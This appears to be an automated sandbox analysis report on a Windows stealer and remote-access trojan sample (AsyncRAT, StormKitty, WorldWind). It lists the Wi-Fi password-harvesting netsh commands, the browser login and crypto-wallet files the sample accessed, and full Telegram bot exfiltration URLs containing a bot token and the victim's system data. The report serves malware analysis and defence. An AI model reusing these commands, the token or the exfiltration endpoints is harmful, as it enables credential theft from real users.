Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: AMC password management pageVMware20,11696497155
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: discord.comVMware20,11696497155f
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: cOH7jKmo25.exe	Binary or memory string: VMwareVBox
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: tmpA74A.tmp.dat.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Desktop\cOH7jKmo25.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\cOH7jKmo25.exe

Code function: 0_2_05960B20 LdrInitializeThunk,

0_2_05960B20

Source: C:\Users\user\Desktop\cOH7jKmo25.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\cOH7jKmo25.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid	Jump to behavior

Language, Device and Operating System Detection

Yara detected Telegram Recon

Source: Yara match

File source: cOH7jKmo25.exe, type: SAMPLE

Source: C:\Users\user\Desktop\cOH7jKmo25.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion DigitalProductId

Jump to behavior

Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Queries volume information: C:\Users\user\Desktop\cOH7jKmo25.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\cOH7jKmo25.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: cOH7jKmo25.exe, type: SAMPLE
Source: Yara match	File source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cOH7jKmo25.exe PID: 7540, type: MEMORYSTR

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile

Source: cOH7jKmo25.exe, 00000000.00000002.2569854785.0000000005284000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\cOH7jKmo25.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected StormKitty Stealer

Source: Yara match	File source: cOH7jKmo25.exe, type: SAMPLE
Source: Yara match	File source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cOH7jKmo25.exe PID: 7540, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: cOH7jKmo25.exe, type: SAMPLE
Source: Yara match	File source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cOH7jKmo25.exe PID: 7540, type: MEMORYSTR

Yara detected WorldWind Stealer

Source: Yara match

File source: Process Memory Space: cOH7jKmo25.exe PID: 7540, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q5\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\keystore
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\keystore

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\cOH7jKmo25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior

Source: Yara match	File source: cOH7jKmo25.exe, type: SAMPLE
Source: Yara match	File source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cOH7jKmo25.exe PID: 7540, type: MEMORYSTR

Remote Access Functionality

Yara detected StormKitty Stealer

Source: Yara match	File source: cOH7jKmo25.exe, type: SAMPLE
Source: Yara match	File source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cOH7jKmo25.exe PID: 7540, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: cOH7jKmo25.exe, type: SAMPLE
Source: Yara match	File source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cOH7jKmo25.exe PID: 7540, type: MEMORYSTR

Yara detected WorldWind Stealer

Source: Yara match

File source: Process Memory Space: cOH7jKmo25.exe PID: 7540, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	131 Windows Management Instrumentation	1 Scheduled Task/Job	11 Process Injection	1 Masquerading	1 OS Credential Dumping	341 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Scheduled Task/Job	11 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 DLL Side-Loading	251 Virtualization/Sandbox Evasion	Security Account Manager	251 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Obfuscated Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	134 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
cOH7jKmo25.exe	92%	ReversingLabs	ByteCode-MSIL.Backdoor.AsyncRat
cOH7jKmo25.exe	81%	Virustotal		Browse
cOH7jKmo25.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://api.tele	0%	Avira URL Cloud	safe
http://icanhazip.comd	0%	Avira URL Cloud	safe
https://api.telegram.orgd	0%	Avira URL Cloud	safe
http://api.mylnikov.orgd	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
api.mylnikov.org	104.21.44.66	true	false	high
api.telegram.org	149.154.167.220	true	false	high
icanhazip.com	104.16.184.241	true	false	high
158.157.4.0.in-addr.arpa	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15	false	high
https://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage?chat_id=5287158069&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202025-01-10%205:53:38%20pm%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20302494%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20282H_%0ARAM:%204095MB%0AHWID:%20C344724773%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.189%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%201%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%2011%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2045%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2030%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True	false	high
http://icanhazip.com/	false	high
https://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage?chat_id=5287158069&text=%F0%9F%93%81%20Uploading%20Log%20Folders...	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	tmpA739.tmp.dat.0.dr, tmpA6E7.tmp.dat.0.dr	false		high
https://duckduckgo.com/ac/?q=	tmpA739.tmp.dat.0.dr, tmpA6E7.tmp.dat.0.dr	false		high
https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13	cOH7jKmo25.exe	false		high
https://api.telegram.org	cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F2A000.00000004.00000800.00020000.00000000.sdmp, cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F90000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	tmpA739.tmp.dat.0.dr, tmpA6E7.tmp.dat.0.dr	false		high
https://api.telegram.org/bot	cOH7jKmo25.exe	false		high
https://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage?chat_id=52871	cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F23000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=	cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmpA739.tmp.dat.0.dr, tmpA6E7.tmp.dat.0.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	tmpA739.tmp.dat.0.dr, tmpA6E7.tmp.dat.0.dr	false		high
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15d	cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	tmpA739.tmp.dat.0.dr, tmpA6E7.tmp.dat.0.dr	false		high
http://icanhazip.comd	cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	tmpA839.tmp.dat.0.dr	false		high
http://icanhazip.com/t	cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002D7A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	tmpA739.tmp.dat.0.dr, tmpA6E7.tmp.dat.0.dr	false		high
https://api.mylnikov.org/geolocation/wifi?v=1.1&	cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage	cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F90000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/LimerBoy/StormKitty	cOH7jKmo25.exe	false		high
https://api.tele	cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002D7A000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	tmpA739.tmp.dat.0.dr, tmpA6E7.tmp.dat.0.dr	false		high
https://api.mylnikov.org	cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GNzbMA16ssY5	tmpA839.tmp.dat.0.dr	false		high
https://github.com/LimerBoy/StormKitty0&	cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.orgd	cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F90000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.telegram.orgd	cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F2A000.00000004.00000800.00020000.00000000.sdmp, cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F90000.00000004.00000800.00020000.00000000.sdmp	false		high
http://icanhazip.com	cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002D7A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org	tmpA839.tmp.dat.0.dr	false		high
http://api.mylnikov.orgd	cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/file/bot	cOH7jKmo25.exe	false		high
http://api.telegram.org	cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F2A000.00000004.00000800.00020000.00000000.sdmp, cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F90000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/LimerBoy/StormKittyTC	cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002D7A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002D7A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://api.mylnikov.org	cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tmpA739.tmp.dat.0.dr, tmpA6E7.tmp.dat.0.dr	false		high
https://pastebin.com/raw/7B75u64B	cOH7jKmo25.exe	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.44.66	api.mylnikov.org	United States	13335	CLOUDFLARENETUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.16.184.241	icanhazip.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588314
Start date and time:	2025-01-10 23:52:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	cOH7jKmo25.exe renamed because original name is a hash value
Original Sample Name:	153a321e178bc28e0f2c6432763bb44fc47b573596387ec241ca45d8775e12af.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@17/114@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 121 Number of non-executed functions: 10
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 20.109.210.53
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:53:48	API Interceptor	1966373x Sleep call for process: cOH7jKmo25.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.44.66	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse
	client2.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	WinRAR 7.01 Pro.exe	Get hash	malicious	PureLog Stealer, WorldWind Stealer	Browse
	PasteHook.exe	Get hash	malicious	AsyncRAT, DCRat, StormKitty, WorldWind Stealer, Xmrig	Browse
	viVOqZjAT0.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	Kh7W85ONS7.exe	Get hash	malicious	AsyncRAT, DarkTortilla, StormKitty, WorldWind Stealer	Browse
	zrrHgsDzgS.exe	Get hash	malicious	AsyncRAT, PureLog Stealer, StormKitty, WorldWind Stealer, zgRAT	Browse
	H1XdsfkcgU.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	SecuriteInfo.com.Trojan.PackedNET.2595.1466.2669.exe	Get hash	malicious	AsyncRAT, DcRat, StormKitty, VenomRAT	Browse
149.154.167.220	3i1gMM8K4z.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	2NJzy3tiny.exe	Get hash	malicious	MassLogger RAT	Browse
	z87sammylastborn.exe	Get hash	malicious	MassLogger RAT	Browse
	vnV17JImCH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	czHx16QwGQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	C5JLkBS1CX.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	4Vx2rUlb0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
104.16.184.241	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	icanhazip.com/
	Invoice-BL. Payment TT $ 28,945.99.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	icanhazip.com/
	bPkG0wTVon.exe	Get hash	malicious	Unknown	Browse	icanhazip.com/
	zyEDYRU0jw.exe	Get hash	malicious	Arcane	Browse	icanhazip.com/
	zyEDYRU0jw.exe	Get hash	malicious	Arcane	Browse	icanhazip.com/
	itLDZwgFNE.exe	Get hash	malicious	Flesh Stealer	Browse	icanhazip.com/
	3gJQoqWpxb.bat	Get hash	malicious	Unknown	Browse	icanhazip.com/
	7fE6IkvYWf.exe	Get hash	malicious	Unknown	Browse	icanhazip.com/
	T05Dk6G8fg.exe	Get hash	malicious	Unknown	Browse	icanhazip.com/
	VaXmr82RIb.exe	Get hash	malicious	Unknown	Browse	icanhazip.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.mylnikov.org	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.21.44.66
	6mllsKaB2q.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	Invoice-BL. Payment TT $ 28,945.99.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, StormKitty, VenomRAT	Browse	172.67.196.114
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	172.67.196.114
	VzhY4BcvBH.exe	Get hash	malicious	AsyncRAT, RedLine, StormKitty, VenomRAT	Browse	172.67.196.114
	d29z3fwo37.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	client.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	BTC.exe	Get hash	malicious	AsyncRAT, Rezlt, StormKitty, VenomRAT, Vermin Keylogger, WorldWind Stealer, XWorm	Browse	172.67.196.114
	client2.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.21.44.66
icanhazip.com	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.16.184.241
